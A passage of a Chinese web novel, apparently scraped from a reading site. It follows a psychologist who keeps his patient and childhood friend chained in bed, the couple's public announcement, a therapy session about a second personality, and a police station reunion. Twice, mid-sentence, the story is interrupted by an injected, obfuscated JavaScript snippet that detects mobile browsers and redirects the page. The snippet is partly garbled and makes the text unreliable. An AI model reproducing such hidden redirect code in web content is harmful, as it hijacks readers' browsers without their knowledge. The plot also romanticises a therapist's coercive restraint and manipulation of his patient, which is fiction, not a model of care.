“是我情况特殊,齐蹊只是采用了一些必要的辅助治疗手段。”被锁着的郁杉情绪平静得惊人,大概也是池鱼实在没什么恶意,他并没有感受到什么羞辱,反倒耐心解释。 郁杉问,“你怎么突然过来了?” 池鱼很会助攻地回答:“老板前两天不是胃出血进了医院嘛,我过来送药的。” 郁杉突然一顿,一瞬间记起了先前那晚刘慕笙说过的话,他呼吸微微凝住……腹部受击、胃壁破裂,但齐蹊看起来不像身上有伤的样子,而且自始至终没跟他提起过,他就下意识忽略了这件事。 池鱼见郁杉的反应后属实有些惊讶:“啊,郁教授你不知道吗?完蛋!!老板也没说要保密啊?我是不是说漏嘴了?” “什么说漏嘴?”齐蹊刚好进屋,他手里还端了一杯新榨的鲜果汁。 郁杉伸手去接那杯果汁,铐在他纤白手腕上的银色锁链拖动,从被子下露出全貌来,却只像是漂亮无害的装饰品,带着些禁忌的束缚感,添了分旖旎的色气。 齐蹊目光微暗,没把果汁给郁杉,他在床头坐下来,将郁杉轻搂住,像早上喂粥时一样亲昵地喂果汁。 “!!?杀狗了——!再见——!!”池鱼一副cp磕生磕死的样子,却又对贴脸的狗粮反应激烈。 郁杉扶着杯子小口地喝了半杯果汁,看着池鱼就这么头也不回地走掉,好奇地问了一句:“她一直都是这种咋咋呼呼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238675|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活泼性子吗?” “在外面还好,在我面前一直这样。”齐蹊将果汁放在床柜上,扫了眼池鱼离开的方向。 “她说来给你送胃伤药……”郁杉突然问,“你的伤,严重吗?” “还好。”齐蹊轻笑着掩过。 郁杉眼睫微颤:“是上次郁寒伤的对吗?” “真的没关系的,不用自责。”齐蹊语气捏着恰到好处的隐忍停顿,像精心设计的遮掩。 郁杉心脏如同被蜂蛰了下,有一点隐秘细微的刺痛感,他仔细感受了下那种情绪,估且将那定义为心疼。 郁杉认真道:“齐蹊,不是愧疚,我会心疼……下次你一定一定要保护好自己,别再对我一点不设防。” “有你这句话,我就算再受几次伤都没关系。”齐蹊眼中笑意漾开,用牙签在果盘里扎了块哈密瓜递到郁杉嘴边。 郁杉摇了摇头,轻推开齐蹊的手:“不用了,今天吃了不少东西,有些积食。” “就一口。”齐蹊哄着,带着几分不容拒绝的坚持。 郁杉目光落在那块哈密瓜上,最后还是张嘴咬了上去,他敛眸轻笑了下,戳穿道:“齐蹊,你是不是又想给我揉肚子。” 齐蹊手已经探进被子放在郁杉小腹上了,他把话题引回到池鱼身上:“池鱼是当年那场车祸中另一家受害者的孩子——那天她九校联考考了一个很好的成绩,养父母打算带她去游乐场玩儿,在去接她和她弟的路上被郁叔失控的车……迎面撞上。” 郁杉的身子明显有一瞬的僵硬,齐蹊安抚地抱紧了他:“没关系的,别害怕,那些事情已经过去了……对池鱼也不用太有负担,毕竟郁家也是当年意外的受害者,池鱼成绩不错,齐家这些年一直有在背后资助她上学和生活。” “她知道我是十一年前让她家支离破碎的罪魁祸首的儿子么……”郁杉手指蜷缩捏住了被角。 “虽然理论上不应该,但从她对你的细微情绪上判断,她应该是知道的。”齐蹊回答。 “她恨我?”郁杉眉头微蹙,“我情绪感知已经迟钝到这种份上了么,我没有感觉到她对我有任何的恶意。” “没有感觉错,她不恨你,她甚至对你抱了一丝细微的怜悯。但是她对我——”齐蹊顿了顿。 “嗯?”郁杉奇怪于齐蹊的停顿,他突然想起什么,疑惑地确认,“她真的喜欢你?” 齐蹊笑了下,眼中有深意:“是一种很微妙复杂的情绪,却绝对称不上喜欢——她窃取过诊所一些需要对外保密的资料,但不知道为什么最后没有传递出去……今天来时她衣领上藏了一个微型的摄像头,直到明确拍到你手上的锁链才走。” “你看出来她有问题,还让她过来这里?”郁杉问,“试探?那她给你带的药会有问题吗?你知道她想做什么?” 空气微微沉寂凝重了一瞬。 “我可能要身败名裂了,阿杉。”齐蹊语气认真,却又毫无慌乱,“池鱼对我有一种很矛盾的恨意,我猜她会杜撰你被我拘在这里的事情以攻诘我的名声地位。” 郁杉抬头对上齐蹊正正盯着他的温柔眉眼,思绪稍转便能想通,无奈道:“你是故意的。” “嗯,故意的。”齐蹊大方承认,“所以你要帮我澄清吗?阿杉。” “这件事也不全是杜撰。”郁杉冷淡地瞥了他一眼。 明显眸光黯淡下来的齐蹊不作声,他只将头重重地搭靠在郁杉肩膀上,手臂收拢,将人又抱紧了两分。 郁杉任由齐蹊抱着,直到许久后,齐蹊才声音闷闷地开口:“给个名分吧,阿杉,你知道的,我真的爱你很久很久了。” 他的声音比近在咫尺的心跳声都轻,却字字清晰,像积久的爱意沉甸的份量重重地压了下来。 “很久是多久呢……?”被压得快喘不过气的郁杉沉吟道,他转头望向艳阳西悬的窗外,语气听不出情绪,“齐蹊,我甚至没有一个健全完整的人格,我不讨厌你的亲近,但爱这种事,我给不了你保证的。” “没关系,我只是在求一个光明正大爱你的机会……”齐蹊苦笑了下,“当然,不给我也不会放手的。” 窗外吹来一阵自由无声的风,郁杉微抒了口气,他推了推齐蹊:“手机给我。” “你的我的?”齐蹊问。 “都。”郁杉语气平静,“不是想公开吗?” 齐蹊呼吸都顿了两秒,虽然本就有把握,但美梦得偿的一瞬还是险些被巨大的欣然冲击得失控。 郁杉举起手机拍下一张窗外的秋景,配上“在一起了”四个字,用微博大号@“齐路成蹊”。 “等我一下。”齐蹊拉起郁杉的手,与他十指相扣,然后对着太阳又拍了一张。 他仔细截掉了郁杉腕部垂坠的铐链,艾特郁杉的微博号,在文案敲上——“携手二十七载,余生也要一直一直同行。” 27. 镜我自我 齐蹊那条微博首评是顶着金V标的于瑶瑶发的,她光速转发:“我!磕了两年的CP成真了!!啊啊啊啊啊啊,尖叫昏厥jpg!恭喜齐教授得偿所愿!竹马赛高!竹马仙配!两位老师什么时候结婚?!我们随一百万,记苏苏账上!!@叶苏舒” 郁杉的大号平时会有一些金融知识分享,粉丝基数比齐蹊还高些,两条微博的热度指数飙升得都很快,叶苏舒看到于瑶瑶的@后直接买了热搜,在郁杉官宣那条微博下评道:“郁老师,99。” “哈?官宣了啊?有人怕是要心碎喽。”有个披着马甲的新号评道。 再下面跟了不少A大的学生和两人认识的业内大触的评论,前者大多都是些心碎哭唧唧加祝福的话,后者则大都简单一句恭喜。 评论逐渐盖起了高楼。 见齐蹊抱着手机一直翻评论,郁杉伸手从他手中抽走了手机,他晃了晃手腕上的锁链,唇角勾着很轻的弧度:“这个可以先解开了吗?趁阳光明灿带我出走晒晒太阳?我的……男朋友?” 齐蹊失笑地看着郁杉,不得不说他被这声男朋友勾得快找不着北了。 被解开的银锁链垂落在床上,家里暂时没有轮椅,齐蹊俯下身将郁杉抱了起来,郁杉身形修长但单薄清瘦,抱在怀里的分量沉甸却不吃力。 公主抱的姿势其实有些羞耻,但郁杉对上齐蹊流露出巨大满足感的眼睛,在略微的迟疑后,还是将手臂环上了齐蹊的腰。 齐蹊被触碰的腰身微颤了一下,踏上天台楼梯的步子都快了几分:“好开心,阿杉,我真的好开心。” 顶楼的阳光玻璃房种满了鲜花,齐蹊将郁杉抱到藤编的半球状吊椅上,搂住他,和他并排坐着。 郁杉伸手牵住了齐蹊那只穿搂过他腰肢的手,姿态放松的仰躺着,望向无边辽阔的蔚蓝天际。 他不说话,神色放空,一如往常的安静。 橘金色的夕辉映亮身侧爱人的脸庞,肌肤上每一根细小绒毛都在发光,像有温暖的光在流淌。 齐蹊长久地看着郁杉,眼神比过往任何一次都更温柔坚定,也更光明正大。 ……他终于,不必再压抑他的爱意。 大概是那目光太炽灼了,郁杉失笑,转过头对上齐蹊的眼睛:“怎么这样看着我?” “我以前总怜悯那些陷在爱里的人迷失自我,觉得受情绪所控的人都是可怜虫。”齐蹊眉眼渐弯,“但我忘了这是人之本性的弱点。” “这条可怜虫沦到我时,我当的甘之如饴。” “……听不太懂。”郁杉直言疑惑。 齐蹊没有立刻回答,他凑上前两分,目光中带着索吻的欲意,郁杉顿了一瞬后回应地覆上了齐蹊的唇,很轻。 但已经足够喂饱齐蹊了。 “阿杉,从早上吵了那一架开始,你就在刻意地满足我安抚我——看来我说的那些话,还是让你生出惧意了。”齐蹊笑着,丢掉伪装的盔甲,将软肋磨刀递上,“其实不必害怕的,你当时所说的话一句都没错,我做不到真正伤害你。” “虽然这么讲很像年轻不知事的毛头小子,但是真的,为了你,我去死都愿意。” …… 当夜幕降下来时,这座繁华的城市才真正的苏醒。 于瑶瑶望了眼门外灯火璀璨的夜景,深吸一口气,硬牵着一个栗青色高马尾的漂亮女生往齐蹊的私人心理医院二楼去:“乖啦璐宝,齐教授很难预约的,你去见见嘛,完事儿了我带你炫火锅去。” 汪璐璐几乎是被半强迫着拉来心理医院的,路上和于瑶瑶打招呼的几个医院熟人见状还多问了几句,于瑶瑶最后黑着脸冲了汪璐璐一句:“你能不能不要搞得我像人贩子,你知道见齐教授一个小时多少钱吗?!!!六万!!!不委屈你的!” “……这六万你给我,我感觉我所有心理障碍都能原地消失。”汪璐璐终于开了尊口,她睁大眼睛,心梗到转身就往回走。 “我是齐教授上上届带过的实习生,我预约没要钱,所以你见他一分钟就血赚1000块。”于瑶瑶费好大劲才把人摁住了。 “怎么了?我是什么洪水猛兽吗?”齐蹊来得竟然比于瑶瑶她们还晚两分钟,他刚上楼梯,撞见这幅场景,语气温柔地笑问。 汪璐璐微怔住了,不得不说,那真的是一副很容易搏得人信任亲近的温柔皮囊,即使知道齐蹊会是把她当成病患的医生,也很难令她再竖起尖锐的戒备。 她一改方才抗拒的态度,礼貌地回以一笑:“没有,很有幸能约见到你这样的大佬。” “先进来坐吧。”齐蹊推开专属咨询室的门,转而对于瑶瑶说,“楼下给你带了青团奶茶,去前台给我当会儿吉祥物?” 于瑶瑶见汪璐璐没有要跑的意思,才松了口气朝齐蹊比了个“ok”。 “你的情况瑶瑶大致跟我说了一下,放轻松,我们可以随便聊聊。”齐蹊解开外套搭在他的座椅处,他走到落地窗边拉开挡光的窗帘,姿态随意得不像要进行一场心理会诊。 “她怎么跟你说的?”汪璐璐问。 “她的原话是,你以前是一个和她一样跳脱快乐的小姑娘,上班当了社畜以后,就被生活和工作压榨得失去童真了。”齐蹊回答,“她说你有一定程度的焦抑症,会时常头晕目眩胸闷虚汗,甚至耳鸣心悸,幻视幻听。” “事实比这还要再夸张些。”汪璐璐并不见外的拿起桌上的一次性纸杯倒了杯水,她端着水走到窗边,姿态不卑不亢毫不怯缩得全然不像一个刚出学校的年轻小姑娘。 齐蹊没有说话,只是露出了认真倾听的神情。 “在某天的清晨,我在现实里看到了另一个自己,当时她把我绑在床上,举刀想杀了我。”汪璐璐视线向外俯瞰,言述这些时目光没有任何闪烁,“那真实得完全不像幻觉,我也并不怀疑我所见的。” “她说她不是来自于平行世界,也不是我臆想出的自我毁灭后自我拯救的意识产物。”汪璐璐捧起水杯喝了一口,“她说她真实存在于这个世界,是因为我活得太失败了,所以要取替我。” “那其他人看得见她吗?”齐蹊问道。 汪璐璐顿了一下:“看得见。” “那就是瑶瑶误会了,你并不是出现幻觉,而是见到了一个……和你很像的朋友。”齐蹊保持怀疑,尝试引导着说。 “不是很像,她就是我。”汪璐璐看着透明玻璃折射出的浅淡镜影,笑了笑,“她没有杀我,只是在很长一段时间代替我去上班,甚至拿下我一个实习生想都不敢想的项目,而那段时间,我被锁在家里吃喝玩乐当一条彻底躺平的咸鱼。” “所有人都看得见她,不被看见的,是我。” 齐蹊大概明白是怎么回事了:“那现在呢?她还出现吗?” 汪璐璐笑容一僵,她吸了吸鼻子,难过地说:“她消失了。” “一直都没有再次出现吗?”齐蹊又确认了一遍。 “没有,一次都没有。正如她突兀的出现一样,她消失时也完全无迹可寻。”汪璐璐将目光转向了齐蹊,“我知道这些很像疯话,你也不是第一个听我讲述这些事情的人。前一个心理医生说,我是人格分裂。” “你们当我发疯也好,精神病也罢,但我想见她,你能帮我吗?” “分裂型人格障碍一般是很难自愈的。”齐蹊这句话算是给了汪璐璐希望,“我能知道你是在什么情况下第一次见到她的吗?当时是遇到什么不好的事了吗?” 汪璐璐摇了摇头:“没有,我的原生家庭不算健康完整,甚至健康长大的过程有一点艰辛,但我的母亲足够爱我,爱到弥补一切欠缺。工作上是有很多不顺的事和沉重的压力,但我一路走来遇到了不少帮携照顾我的同事领导。” “——我知道我算不上半生顺遂,但已经比这世界绝大多数人都要幸运幸福。” “你的想法很开朗通透。”齐蹊看得出汪璐璐说话时是真心实意,但他追问道,“在她出现前,你遇到的一次最难过的事情是什么?” 汪璐璐认真回想着:“我那时最难过的事,应该是很想进入公司一个游戏项目的文案组,但递交了11次文案稿都被驳了。我其实到如今都仍旧认为那对我是一个相对简单的挑战,却屡战屡败。” “因为这个,我很长一段时间情绪低落到觉得自己活得好失败好没有价值,坚持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238676|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了那么久想做的事情一件都够不到,努力配不上渴求,小时候那么拼命的长大却只活成那么窝囊废物的样子。” “或许这就是契机?”齐蹊告诉她。 “有可能。”汪璐璐陷入沉思,“那如果我把一项简单的工作一直搞砸,她是不是就会再次出来帮我收拾烂摊子了?” “故意的大概不行。”齐蹊制止了她这种危险的想法,他思索了下询问道,“我比较好奇,你和她的性格差异大吗?她出现去上班的那些日子里,你的同事领导没有发现你的不同吗?” “我觉得差异很大,我懒惰她上进,我丧气她积极,我重度拖延症但她有很强的计划执行力——她是与我相反的我全然想要成为的样子。”汪璐璐回答,“没有人发现异常,可能只是觉得我突然变努力了。” “齐教授,你觉得第二人格是幻觉吗?” “我想先听听你的观点。”齐蹊浅笑着说。 “我觉得不是,她所做的事情都真实发生在这个世界,而且她出现在了公司每一个人面前,所有人都可以是她存在的证明。”汪璐璐目光微敛,走回座位坐下,“我宁愿相信我是幻觉,也不信她只是我的臆想。” 齐蹊也回到座位上,和她面对面,他拉开桌子的第二格抽屉,抓出几颗糖,语气柔和:“吃巧克力吗?” 汪璐璐接了过来,但没有吃,她眼神中有一缕迫切想要被认可观念的碎光:“其实我意识里一直觉得我和她拥有支配着两具身体,我们是同时存在同时生活在世界上的,但我知道你们不信。” “但就算从你们那套病理性的人格分裂理论去看,她为什么就只是幻觉,而不能是存在于我身上与我紧密联系彼此共鸣却又截然不同的另一个灵魂呢?” 齐蹊迎着那目光,顿了片刻才缓慢地说:“第二人格可以理解为一种完全不同的灵魂意识形态,一般拥有独立自由且相对完整的自我。” “确实可以将她看作一个区别于你的个体。” “但她区别于我又同时属于我,她也是我。”汪璐璐思维逻辑清晰,且字字坚定,“她就是和我截然不同的,另一个自我。” 齐蹊默了默,转而问:“能自愈是一件好事,你为什么会想再见她?” 汪璐璐捏紧了手中那几颗糖,眼中闪过那种不被人理解的落寞:“坦白到这种地步了,我也不介意再说一句疯话——我喜欢她,我们是恋人,她整个人都是我最想成为的样子。” 齐蹊不知为何心脏拧疼了一下,但他面上没什么异样,甚至认真地分析着:“如果所有人包括亲人朋友都没有发现你与第二人格的丝毫违和,或许是因为在她们眼中你本身就是那样的人呢?” “所以?你也要否认她的存在吗?”汪璐璐声音一哽。 “没有,我的判断是,你过往的分裂型人格障碍症属实。”齐蹊回答,“你的第二人格是基于你想在他人凝视下所呈现的完美镜我而诞生的。” “人总有软弱与坚强两面,但你太过否定自我软弱时的人格价值,希望出现一个永远保持在外那种积极上进状态的自我,你不愿向外人剥露你的软弱,你只能接受自己对自己的厌恶和怜爱。” 汪璐璐抿了抿唇:“你说话好不客气。” “你也算天赋异秉,人格分裂出现的条件除了先天遗传外一般都蛮苛刻的。”齐蹊开了个不轻不重的玩笑,“你其实真的很爱自己,对吗?” “嗯,很嫌弃,但也很爱。”汪璐璐不反驳,“那她为什么会消失呢?” “因为你已经成为她了。”齐蹊语气认真而温柔,“你能保持强大,并且怜悯软弱时的自我,因为爱,你已经和自己和解了。” “人格融合是比人格剥离更困难的事,但你这种情况确实比较特殊。” “你的意思是,她再也不会出现了?”汪璐璐眼眶里盈满眼泪,她憋着吐出两个字,“庸医。” 齐蹊无奈一笑:“换个思维,她如今每时每刻都和你同在。” “不信不听,王八念经。”汪璐璐眼泪珠子大颗大颗地掉,她也不擦,赌气地起身就出了咨询室,嘴里嘟囔着,“反正汪潞本来就不是什么真的第二人格。” 28. 真可怜我啊 池鱼接到去警察局领人的家属通知时,己经将近晚上8点了。 徐然和程絮肩抵着肩靠坐在警察局走廊的长椅上打瞌睡,他俩身上大大小小落伤的地方都做了简单处理,很像两只干完仗后蜷成一团彼此依赖疗伤的小狼,戒备又虚弱。 只一眼,池鱼眼中的心疼都快溢出来,她半蹲在长椅一侧,伸出手停在徐然额角包扎的渗血纱布上方,却半点不敢碰:“……这是发生了什么?为什么打架?” 徐然一时没完全清醒,程絮倒是先睁开了眼,他迎着池鱼的目光,心虚地遮掩:“没事的姐,几个找麻烦的地痞小喽喽,解决了已经。” “你这俩弟弟可厉害得咧,1.5个人对上8个持刀壮汉群殴,结果打得对面8个全残。”羌彧捧着个保温杯像个老干部一样出现在池鱼后边。 他下午刚好在大学城那边一家西点店给苏星眠买法棍泡芙,看到有警队同事围了旁边网吧就过去看了看。 池鱼连忙站起身:“你好警官,我、我可以了解一下事情的经过吗?他们是惹到了什么人吗?打伤了对面要赔钱吗?” 羌彧侧目扫了一眼程絮,看到程絮投过来的恳求眼神,笑了笑,配合地应付过去:“啊,我刚调来这边警局,这案件笔录我同事做的,我也不太清楚。” “放心,你家弟弟是正当防卫紧急避险,不仅不要赔钱,打他们的那几人还要判刑呢。” 池鱼悬着的心刚稳了两分,她又听到羌彧接着说:“比起打架这小事儿,你可能更需要关心一下你俩弟弟的身体健康——尤其是还睡着的那个,他十指上全都是刀疤,右手心还有一道贯穿伤的增生疤,那绝对是虐待霸凌所致。” 池鱼瞳孔骤缩:“虐……虐待?” “嗯,问他他也什么都不说,警局档案里也没查到过往的报案记录,这身子骨看着那么单薄,也不知道他一天天过的什么日子。”羌彧将话引到这头,“我俩就你一个亲人?” “小羌——”刚接到一道电话从办公室出来的林局叫住了羌彧,“这边两个是不是有个谁叫徐然啊?” 他扫过来的视线认出程絮后,将目光移到旁边那个身上,“那应该是这个了,刚才荀家的打电话过来找人,你在这儿帮忙照看一下,听意思是说上午从市医院里偷跑出来的,荀少气疯了都快。” “荀家?”羌彧看了眼徐然,若有所思。 程絮面色微僵,他跟在石泽毅身边多少知道些A市太子圈的桃色传闻。当他将徐然和那个荀家大少爷强行囚养玩辱到跳楼的小情人联系到一起时,他才明白徐然这几年受了多少苦。 在一瞬间的宕机后,他几乎是发着抖去拉住了池鱼的衣袖,池鱼蹲下身对上程絮焦急的目光,无措又心疼地问:“怎么了?” 程絮没说话,忍到那位林局急匆匆离开走廊后才紧扣住池鱼的手腕,颤声说:“姐……姐你带徐然回家先。” “到底这么了?你呢?你不一起回去?”池鱼也跟着急。 徐然此刻已经醒过来了,他甚至听见了林局的最后半句话,却没说什么,反倒抬手搭上程絮的肩膀,宽慰着地拍了拍。 手绳上铃铛清脆地响着,却并不突兀扰人,甚至让人静心了两分。 “姐,你别问,你快带徐然走……别让那个荀少找到他。”程絮固执道,他声音甚至有些哽咽,“徐然他……这两年太可怜了。” 徐然目光些许闪烁,程絮这副态度看来是知道荀越而且听说过什么的,他抬手掐了把程絮:“我可怜你哭什么,你下午一个干翻八个人的狠劲儿去哪儿了?” “别废话,赶紧走。”程絮压着情绪将徐然一把从长椅上推起打包塞到池鱼旁边,“先找地方躲躲,明天我想办法送你离开A市。” 羌彧站在五步距离之外,背斜倚着墙侧,他眼尾上挑压着居高临下的凌人屑意,神色像个长久处于上位的号令者,语气犹如审讯:“不是,我还站在这儿呢,林局刚交代让我照顾好这位小兄弟。” “——怎么就笃定,我会让你们走?” 程絮和羌彧对视了一刹:“直觉。” “直觉很准。”羌彧敛了那气势,笑了笑,捧着他的保温水杯转身,“好吧,我去给这位小兄弟接点热水。” 池鱼虽然不理解始末,但还是看出有什么紧急的问题,她打好回家的车,牵住徐然的手:“听小絮的,我们先回家。” 徐然目光落在池鱼牵着他的那只手上,又扫过腕上那条红色的金铃手绳,一言不发,却终究,还是没有挣开手。 ……他其实想说没事的,没用的,走不掉的。 他上午离开医院只是顺心而为的举动,他知道自己很快就会被荀越找到,半个小时,一个小时,或者幸运点能再久一些……他并没有逃跑的想法和打算,在离开荀越这件事上他确实是认命了。 但徐然又突然觉得,至少在真的准备逃跑的这一刻,他是自由的。 加速跳动的麻木心脏好像重新涌进了氧气。 不自觉地,他眼中竟然有泪光。 程絮推了推他:“我说了,有什么事我们一起担着,我一定会帮你的。” 徐然神情恍惚地跟着池鱼走,夜色已深,外面没有豁然开朗的明灿天光,徐然却第一次觉得这漆黑的天幕不再是他腐臭的牢笼。 确定徐然出了警察局后,程絮走到走廊拐角的茶水间,羌彧似笑非笑地看着他:“你怎么不和家属一起回家?还能有别的人来接你?” 程絮看着羌彧仔细回想着,迟疑道:“我们,是不是在哪儿见过?” 羌彧明显顿了一下,笑容明朗得让人觉得有些许违和:“原来没认出我来啊?那就最好永远不要想起来了……一面之缘而已,往事不堪。” “程絮——”身后有人叫他。 一头耀眼金发的俊美男人接了石泽毅的吩咐来接程絮,他捏着黑色长风衣斜披在左肩,大步朝走廊尽头走来,姿态倨傲冷漠地说着:“石少叫我来捞你。” 程絮还没回过头,却看到羌彧脸上的笑容肉眼可见地僵住。 羌彧瞳中盛下了来人张扬而熟悉的眉眼,原来一个人一瞬间的眼神变化真的可以那么明显,他眼中的温和碎成沾血的锋利薄片,却又隐没在如海潮的极端悲伤下。 许久后,羌彧先开口道:“好久不见,Ting。” 时间像从那一刹凝固住了。 那一瞬间萧庭几乎快听到自己心脏从胸腔里蹦出来的声音,耳膜被什么尖锐的声响刺得发疼,等他回过神来时,才发现他已经紧扣着羌彧的手将逼到了墙侧放置杯具的大理石台面边。 他双眼攀着红血丝,却又浮着雾气:“羌彧,你还活着……” 羌彧扫了眼地上被摔碎的几个玻璃茶杯,他缓慢想将手抽出来,语气冷淡至极:“快下班了,我急着回家,并不太想和老朋友叙旧。” “羌彧……”萧庭似乎什么话都听不进,他握住羌彧手的力道加重,那声音像揉杂了太多难言的痛苦,“对不起……” 此时一位外面综合办公区的值班警察刚好也过来打水,他撞见萧庭气势逼人纠缠羌彧,立马掏出警棍大喊一声:“那个黄毛干什么!想袭警吗?!放开羌队!” 程絮默了一瞬后差点笑出来,他刚刚想拉萧庭愣是没拉得住,现在只好去拦一拦那名值班警察,一边解释道:“误会误会,他们认识的。” “不认识。”羌彧平静地插言。他说这话时,当真抽离了所有情绪,看着萧庭的目光陌生冷漠得让人发寒。 反倒是那值班警察瞧清萧庭正脸之后松了口气:“原来是萧工啊,都是自己人自己人,羌队刚调来这边,有什么误会你们好好说。” “萧工?小刘,他是?”羌彧挑眉。 “啊,萧工是我们信息技术部门的顾问,之前帮过我们警队很多次忙。”刘默介绍道。 “你从赤隼会卧底回来,怎么样都至少该有个二等功吧,怎么会下调来这种区级的小地方?”萧庭问道。 “参与禁品送输和交易,被迫残杀了同胞,我回来没被枪毙还能保下这身警服,已经是最好的结果了。”羌彧并不遮掩,他目光如炬地盯上萧庭的眼睛,“我以为,我在菲圣德堡过的什么日子你都知道呢——毕竟,当初不是你默许的吗?不是你同意把我送人的吗?……我的,前男友。” “萧庭,别再出现在我面前。”羌彧冷着声,他转头看向程絮,“带着这个接你的人走。” 他的模样,像是就差把“滚”字说出口了。 …… 风吹涌金色麦浪,窗外怡人的秋意浓眷。 或许是因为闲暇宁静的时光总是太容易沉淀在记忆中被忽视,所以一眨眼便晃过去了许多日子。 郁杉前几天就拆了腿上的固定夹板,但还是习惯任由着齐蹊摆弄穿衣,他突然侧了侧头问:“还有两天就是中秋了,齐叔叔他们今年会回来吗?” 他情绪疏漠的眼中,有着从前鲜少有过的浅淡柔光。 齐蹊替郁杉穿外套的手微微顿了一下,轻声回道:“他们这个月计划去巴沙里菲岛度假,应该不会专程赶回国内过一个中秋节……上一辈有他们那一辈人自己的生活,爸妈不喜欢打扰我们,也不希望我们太叨扰他们。” “就随口一问,这么解释了这么多话。齐蹊,你是不是还是想要齐叔叔他们回来的?”郁杉眼睫微垂,认真地说着,“这些年,他们对你好像真的太过放养太过忽视了。” 齐蹊替郁杉戴上一对漂亮的绿宝石领扣,回以一笑:“现在这样就很好,如果阿杉可怜我一个人孤苦,那就多陪陪我啊。” “在我心里,你一直比他们更像家人。” “……好。”郁杉轻应道。 他好像在家庭幸福美满的齐蹊身上看到了生着细小裂痕的孤寂影子。只有在他靠近时,那点残缺才能得以修补。 这让郁杉产生了被完全需要着依赖着的恍惚感,以致于真的滋生出一种类似怜悯的情绪。 齐蹊将头凑近了两分,看着被他精心打扮好的郁杉,笑中有期待:“真的可怜我啊?” 郁杉迎着那目光中的期待,自然而然地和齐蹊接吻,就像一对相爱了多年的恋人。 在齐蹊潜移默化的引导下,他这些天已经习惯了这样亲密的安抚。 齐蹊伸手与郁杉十指交握,将人温柔地往墙壁上按,然后把握着分寸加深了这个吻。他每一次都会比前一次更过分一点,但总是捏着郁杉堪堪能忍耐的最边缘。 从那个吻中抽离时,齐蹊对上了郁杉清明如旧的双眼,他目光颤烁了一下:“阿杉,你知不知道你这种眼神,会让人想狠狠欺负你。” 说着,他按住郁杉的手用上了几分力道,低头咬在郁杉纤长的颈脖上吮出一道极深的莓印。 那种破土而出的焦渴感再次卷袭了郁杉的麻木精神,他呼吸急促了两分,仰着脖子细细忍耐陌生的情绪,极力克制着自己近乎失态地想向齐蹊索取的欲念。 直到齐蹊松开他,如瘾附骨的欲望才一点点再次蛰伏。 齐蹊手背上全都是被郁杉方才掐出血的鲜红指甲印,他像是半点不觉得痛,只看着郁杉温柔地诱哄着:“阿杉啊……想要什么,为什么要如此忍耐呢?” 像是一瞬埋在骨血里的火药被点燃,齐蹊是引爆郁杉的致瘾源,炸得他粉身碎骨。 郁杉忍了又忍后,艰难又无法自抑地紧紧拥抱住齐蹊,用力得快把人骨头勒断:“齐蹊,你好像没有治好我,你要把我变成怪物了。” 他的声音明明那么冷淡,却又欲望满溢。 齐蹊此刻像极了一只披着温柔皮囊的鬼怪,他轻声引导:“阿杉,你想对我做什么都可以,你想要我做什么都可以……不要害怕自己的情绪。” 郁杉深吸了一口气,单手掐住了齐蹊的脖子,将人反抵在墙上:“想操.你。” 他不确定自己是出于心瘾还是处于生理欲望会有这样的念头,但他意识到,齐蹊在释放他。 齐蹊微微睁大眼睛,旋即又笑了起来,轻描淡写得像只答应了什么小事:“好。” 齐蹊开始解自己的衣服,郁杉却像是心脏被烫了一下般仓皇松开手,他退后两步,看向自己方才突然施暴的手,惶恐而陌生。 他在那一刹那,觉得自己像极了郁寒。 分明郁寒已经很多天很多天没有出现了,久到郁杉甚至快以为自己彻底脱离了郁寒的纠缠。 但为什么,被释放情绪的他,会和郁寒有着惊人的相似……那这样的他究竟还是他吗? “齐蹊,你要不……还是把我锁起来吧。”郁杉用另一只手扣住了自己的手腕,眼神中有漠然有痛苦。 齐蹊握住郁杉的手腕,不纵容他的逃避:“阿杉,不要觉得自己可怕。如果真的恐惧什么,那我们就一起去直面什么……虽然我很想,但我总不能真的锁你一辈子的,也不想你一辈子陷在情感隔离里。” “阿杉,我有一点贪心,我不止要你离不开我,我也想你能真的爱我。”< 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分明是在天幕之中,可在那云纱的勾勒下,却像太阳有一半掉进了海里,海天一线,另一半是波光潋滟中折映出的倒影。 更震撼的是,再往上的高空处一片片一层层重叠的白色云群像极了层峦叠障的雪色山脉,云脊分明。 由下向上照耀的万丈阳光穿透低空区那片遮蔽半个天空的灰霾云层,将高空处的云群映染上鎏金映辉般的滤镜。 于是在天穹最高处呈现出磅礴震撼的“日照金山”,犹胜仙境。 羌彧顺着苏星眠的目光望过去:“喜欢这副画?这里边展子的门票不好搞的,而且倾我们家所有财力估计都买不起这幅画。” “羌彧哥,你觉得那太阳有什么隐喻吗?”苏星眠面色思酌,“自己真实的另一半像云雾中的倒影……” “以我浅薄的艺术鉴赏能力看不懂什么深层次的东西,我只知道晚暮的阳光温暖柔和,却也能穿透厚重乌云,带着破开一切向上迸发的耀眼力量,这应该是幅积极向上的正能量好画。”羌彧无奈地笑笑。 此时一名撑着一把黑色大遮阳伞的年轻男人从维纳斯歌剧院出来,他正准备往画展走,瞧见街边的苏星眠时脚步微顿了一下:“我好像见过你。” 姜彧伸手把苏星眠往身前揽了些,目光温和又戒备,用半开玩笑地语气将距离感拉满:“这位先生好俗套的搭讪方式。” 仍旧陷在思绪里的苏星眠应着方才有两分熟悉的声源回过头,下一秒,他漂亮如莹澈星石的眼睛亮起光华:“您是……盛见誉老师?” 